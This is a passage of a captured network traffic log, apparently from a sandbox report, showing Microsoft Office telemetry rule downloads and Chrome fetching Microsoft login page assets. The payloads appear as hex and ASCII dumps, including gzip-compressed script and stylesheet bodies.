22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
61	192.168.2.4	49822	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:04 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:05 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:05 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 167d53f1-601e-0084-47cc-456b3f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211705Z-1746fd949bddgsvjhC1EWRum2c00000003kg000000007x40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:05 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.4	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:06 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:07 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: de9014ac-301e-0051-7cc5-4538bb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211707Z-1746fd949bdhk6hphC1EWRaw3c00000002zg00000000mzf5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:07 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.4	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:06 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:07 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 4626c155-d01e-0017-0ecc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211707Z-1746fd949bd77mkmhC1EWR5efc00000003m0000000005a16 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:07 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.4	49834	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:06 UTC	658	OUT	GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:07 UTC	781	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:07 GMT Content-Type: text/css Content-Length: 20400 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 25 Sep 2024 21:42:27 GMT ETag: 0x8DCDDAAF34D1A25 x-ms-request-id: 2ee9a8fc-801e-0065-44b2-456d12000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211707Z-1746fd949bdw2rg8hC1EWR11u400000003dg00000000xs7p x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:07 UTC	15603	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 7d 6b 93 db 36 b2 e8 77 ff 0a ee a4 52 eb c9 4a 8c 48 3d 47 53 49 ad e3 78 93 39 c7 af b2 9d 7d 54 2a b5 c5 91 a8 11 8f 29 51 97 a4 66 3c ab a3 ff 7e f1 46 03 68 90 d4 78 b2 d9 7b 2b eb 8d 2d a2 1b 0d a0 d1 68 a0 81 6e e0 eb af fe 10 3c 2f 76 f7 65 76 b3 ae 83 a7 cf cf 83 57 d9 a2 2c aa 62 55 93 f4 72 57 94 49 9d 15 db 30 78 96 e7 01 43 aa 82 32 ad d2 f2 36 5d 86 c1 57 5f 7f fd d5 1f 9e f4 bb ff 2f 78 ff e1 d9 bb 0f c1 9b bf 04 1f 7e bc 7a f7 7d f0 96 7c fd 23 78 fd e6 c3 d5 f3 17 41 67 2a 4f 9e 7c 58 67 55 b0 ca f2 34 20 ff 5e 27 55 ba 0c 8a 6d 50 94 41 b6 5d 88 5a a7 55 b0 21 7f 97 59 92 07 ab b2 d8 04 f5 3a 0d 76 65 f1 3f e9 82 b4 21 cf aa 9a 64 ba 4e f3 e2 2e 78 4a c8 95 cb e0 6d 52 d6 f7 c1 d5 db f3 30 f8 40 70 0b d2 Data Ascii: }k6wRJH=GSIx9}T)Qf<~Fhx{+-hn</vevW,bUrWI0xC26]W_/x~z}\|#xAgO\|XgU4 ^'UmPA]ZU!Y:ve?!dN.xJmR0@p
2024-12-05 21:17:07 UTC	4797	IN	Data Raw: 8b ca ba c2 a2 2a 8b 88 bd ac 2c 12 31 2f 2a 2b 24 e5 a1 95 75 9e df 51 bb 5f 6a 19 63 dc bc c9 45 89 b5 70 47 5d 70 ca fb 9e 0e 20 56 49 be 20 69 14 01 46 49 a3 08 a2 a9 10 de 51 33 ab ab 42 ad 3a 03 51 82 c9 86 58 21 80 b6 66 35 88 5b 0b 1a d2 44 af 18 0e 06 e3 65 32 71 db a4 25 ce 20 03 a5 0f 01 b4 b6 c9 2f 95 2d 68 58 9b 7c d2 ca db f4 30 61 ec 73 a7 f6 1e b8 a8 5b 0e 36 f1 85 8e 36 04 a6 86 1b 02 93 e3 0d 14 66 70 df 93 6e 56 08 83 b4 76 40 43 45 db f0 b0 2e 10 57 99 1b 46 0a 7a 9a 6c 5e eb 5b 91 85 43 fa 34 bc 98 9d 23 97 02 03 20 96 48 ba 89 37 5f 87 50 e3 87 e3 60 22 80 5b d9 23 19 93 28 7f 18 bb 0c ee 13 f6 9e b3 cc 4f 7d b0 93 e5 be fa 81 1c e1 db 81 87 f8 c3 85 9e 97 26 d9 ad e4 e2 f9 d0 f9 26 d9 66 bb 7d ce d8 eb 5e a9 2b 2e 5f 31 9e 3c 14 8e Data Ascii: ,1/+$uQ_jcEpG]p VI iFIQ3B:QX!f5[De2q% /-hX\|0as[66fpnVv@CE.WFzl^[C4# H7_P`"[#(O}&&f}^+._1<

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.4	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:06 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:07 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ddae3c3f-c01e-008d-3acb-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211707Z-1746fd949bdmv56chC1EWRypnn00000003eg000000008xux x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:07 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.4	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:06 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:07 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 85a33a74-901e-005b-1ccd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211707Z-1746fd949bd54zxghC1EWRzre400000003mg000000003fz8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:07 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.4	49833	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:07 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-05 21:17:07 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:07 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 8da67b63-c01e-0034-2ecb-452af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241205T211707Z-1746fd949bdkw94lhC1EWRxuz400000003a000000000xwy1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:07 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.4	49835	13.107.246.63	443	5264	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-05 21:17:07 UTC	635	OUT	GET /shared/1.0/content/js/ConvergedLogin_PCore_h6TdaK6cfsrg175w47aRCA2.js HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://login.microsoftonline.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://login.microsoftonline.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-05 21:17:07 UTC	798	IN	HTTP/1.1 200 OK Date: Thu, 05 Dec 2024 21:17:07 GMT Content-Type: application/x-javascript Content-Length: 122341 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 23 Oct 2024 19:33:27 GMT ETag: 0x8DCF399919435D9 x-ms-request-id: c57f349c-801e-0004-06c8-4571fc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241205T211707Z-1746fd949bdfg4slhC1EWR34t0000000033000000000ne5b x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-05 21:17:07 UTC	15586	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 e4 bd 7b 77 e3 38 8e 38 fa ff fd 14 8e 66 6e da ee 28 2e cb af d8 4a ab b3 2e c7 a9 ca 76 12 67 e2 a4 ba 77 53 99 1c 59 a2 1d 75 64 c9 2b c9 79 8c e3 fd ec 3f 00 24 25 ca 96 53 55 bd 7b ee 3d f7 dc 79 54 2c 12 7c 81 20 08 80 20 f8 e1 e7 9d ff ab f4 73 69 ff fb ff 53 1a 5d f7 ae ae 4b c3 93 d2 f5 e7 d3 ab e3 d2 25 7c fd 47 e9 62 78 7d da 1f 7c 7f 3d d8 28 fe ff fa c1 8b 4b 13 cf 67 25 f8 3b b6 63 e6 96 c2 a0 14 46 25 2f 70 c2 68 1e 46 76 c2 e2 d2 0c fe 8d 3c db 2f 4d a2 70 56 4a 1e 58 69 1e 85 7f 32 27 89 4b be 17 27 50 68 cc fc f0 b9 54 86 ea 22 b7 74 69 47 c9 6b e9 f4 b2 52 85 fa 19 d4 e6 4d bd 00 4a 3b e1 fc 15 7e 3f 24 a5 20 4c 3c 87 95 ec c0 a5 da 7c f8 08 62 56 5a 04 2e 8b 4a cf 0f 9e f3 50 3a f7 9c 28 8c c3 49 52 8a 98 Data Ascii: {w88fn(.J.vgwSYud+y?$%SU{=yT,\| siS]K%\|Gbx}\|=(Kg%;cF%/phFv</MpVJXi2'K'PhT"tiGkRMJ;~?$ L<\|bVZ.JP:(IR
2024-12-05 21:17:07 UTC	16384	IN	Data Raw: da 7b 28 52 1a c0 52 1a 6c 7d a9 7d c8 da ec b2 52 7c bb b5 03 95 48 c0 1e df 22 ac 0d f1 00 d6 1c 08 2b a9 52 6d 2b b5 5b 3b 35 dd ae 32 f4 b4 c0 c8 36 df a9 0a 82 46 22 05 ef ac ac e5 81 96 00 1c f8 09 0f 2f ca 15 21 75 97 97 01 0f 25 a0 d9 fe b3 fd 1a 6b ab 0a 34 88 bb 01 8c 77 38 c7 0e c5 80 17 9b b8 8c 13 79 e3 7c ff 95 fa 33 88 72 26 d0 02 0a 40 fa 29 f3 f3 ef 84 bb 30 94 d5 42 73 c6 1e cb 5c 79 c5 09 43 0b d9 6c 8e 57 72 b8 7b 89 55 b4 e7 00 4f 01 c0 61 36 18 96 55 58 f9 86 c9 e9 30 b3 6f 78 d2 fd fa bd 69 d3 d1 04 60 a0 09 40 a8 fc 20 7d 8b 5b de d9 8c c5 6b e5 50 7f 47 0f 14 50 98 8e ed e8 31 8b c7 70 e8 ad f9 d5 7d 44 6f 2f f2 54 c4 6b 26 eb b9 bf a3 d7 97 92 bb 51 9f 65 a3 d8 84 7e cc 74 37 e7 02 ef b1 c3 1e 52 75 01 2a 4b 49 74 85 6e 61 8d 47 Data Ascii: {(RRl}}R\|H"+Rm+[;526F"/!u%k4w8y\|3r&@)0Bs\yClWr{UOa6UX0oxi`@ }[kPGP1p}Do/Tk&Qe~t7Ru*KItnaG
2024-12-05 21:17:07 UTC	16384	IN	Data Raw: 1c 7f d9 85 e1 ba 19 23 fe 05 07 ae ca 22 a1 15 d2 5e 74 03 3d de 32 61 56 8b c8 ca 04 55 ad 05 53 e6 18 48 32 9a 32 49 20 b4 08 c9 2c 84 90 e1 94 49 00 a1 05 47 76 bf 72 e0 57 f7 11 fe 0e 0e b3 77 69 86 e8 72 5f f8 69 ef 16 06 6e bf e7 9e c2 e3 04 a1 f7 44 20 e6 e9 94 9e 39 b3 08 cc ec 9e eb 99 44 d3 8c 8c 5a fc 65 77 9f 33 23 44 1d 50 7d 93 3b f7 00 12 c2 56 eb 11 7d 2a d3 f1 5d 44 b9 0e 39 d7 5b 20 bd e1 58 4a 0e 7b 23 77 07 5b c6 7e 69 47 f1 3d 0c 41 84 3b aa 98 d4 0f 2c 3d 7a 04 3e f6 4b 27 81 bd ac 96 06 e1 de c3 94 03 83 4d 5c 01 32 54 dd 61 98 7c b1 90 d7 2c 67 d4 0f 10 7c 7b 56 9a ce ca 7b 65 19 63 be 29 2f 83 52 74 f1 85 01 66 1a c0 d9 9b 49 c7 f0 4a fc 71 89 8f f5 94 a0 37 ea 23 f0 ff c3 af e1 63 66 cd 64 f9 22 82 7c 17 a8 6a 58 39 d1 20 4e d0 Data Ascii: #"^t=2aVUSH22I ,IGvrWwir_inD 9DZew3#DP};V}*]D9[ XJ{#w[~iG=A;,=z>K'M\2Ta\|,g\|{V{ec)/RtfIJq7#cfd"\|jX9 N
2024-12-05 21:17:08 UTC	16384	IN	Data Raw: 25 17 34 67 9a 22 0e 17 63 8b 78 32 19 92 bb 77 1b f5 27 c3 68 ec 67 de fb 09 07 08 64 61 56 34 36 f4 50 2c 75 a8 37 be 57 0a 38 60 80 cb 85 90 e1 08 ff 86 93 e8 29 54 8a 52 86 15 d0 a6 21 29 74 dc 42 40 87 32 ff d4 42 f4 96 c4 f1 7b c0 13 a4 09 9d 38 19 ba 47 0b 37 a8 38 69 54 1a c5 3a 1a cb f9 96 0e c8 bc ed c4 ab 96 1e 18 cd ab 79 2f 22 57 95 cc c4 8c dd 87 96 55 02 9b cc a6 60 4a e5 cc 25 a8 9a 79 46 54 11 19 46 fd 51 6b bf 16 23 f1 90 84 9e 9a 4d ac 15 ce 0d 58 a8 41 e4 02 e7 0f f5 12 96 98 f1 b1 1d 2d 07 e1 72 ec fc 14 a4 c0 ad bd 46 9c 97 9c a0 17 19 e3 6b 1c 65 24 28 3e 8f 50 d2 7e e3 57 ee e1 78 39 55 76 ca c6 8a 43 56 f1 0c 91 cf d4 81 81 2b 9b b6 60 12 ea 29 aa c1 fc ca fb a3 6b bc 1d 4f 92 83 70 3c 7c 14 6f cf 68 ef 9e 87 01 19 91 e5 f9 30 2a Data Ascii: %4g"cx2w'hgdaV46P,u7W8`)TR!)tB@2B{8G78iT:y/"WU`J%yFTFQk#MXA-rFke$(>P~Wx9UvCV+`)kOp<\|oh0*
2024-12-05 21:17:08 UTC	16384	IN	Data Raw: 66 c0 3e ae 6d b8 da 25 53 7b 7f 16 d6 09 ed 5c 4e d5 59 95 c0 b5 6e d4 82 99 6c d2 34 8e 65 cd f0 ae ee b0 7f 0e 4b 0f 4b 76 fc 8f 4f 27 6b 0e 7b fb 39 88 e5 5e 2c 34 70 88 ec d9 59 85 45 4c 9d 6c 13 24 9a fd 19 0e 16 ed dc 9b 21 e8 0c 5e ab 6c 9e 6d 86 92 e1 78 d2 3e 7d 2a e2 e9 6d 42 44 d5 14 a0 1d dd 7e 0b 3b e1 82 36 56 cd 0d 96 d7 cc e1 c8 b5 b1 ee da 1b 20 36 1e 55 00 47 ef 77 b9 06 57 3e d1 c4 20 30 50 f5 05 ff d4 0e e5 dd 8e e4 5f e5 1b 0c e3 73 cd d8 5b d0 e8 8e dd 12 e1 e3 32 cc d7 a1 05 4d 5b 87 9b 1a 03 8a c3 af 5e 77 f8 2c da 52 46 30 3d 2b d7 3d 86 0b b9 96 43 b8 b0 3c 44 46 35 a9 a6 8a 53 eb 34 04 b7 4c 47 5d 0a dd 92 68 11 87 ed 27 c4 3e 78 26 d2 a2 42 b7 92 03 92 9f b2 90 ac b0 72 18 98 1e 26 58 4c 56 0d f0 06 7e 5a ea ad 15 59 17 96 6f Data Ascii: f>m%S{\NYnl4eKKvO'k{9^,4pYELl$!^lmx>}*mBD~;6V 6UGwW> 0P_s[2M[^w,RF0=+=C<DF5S4LG]h'>x&Br&XLV~ZYo
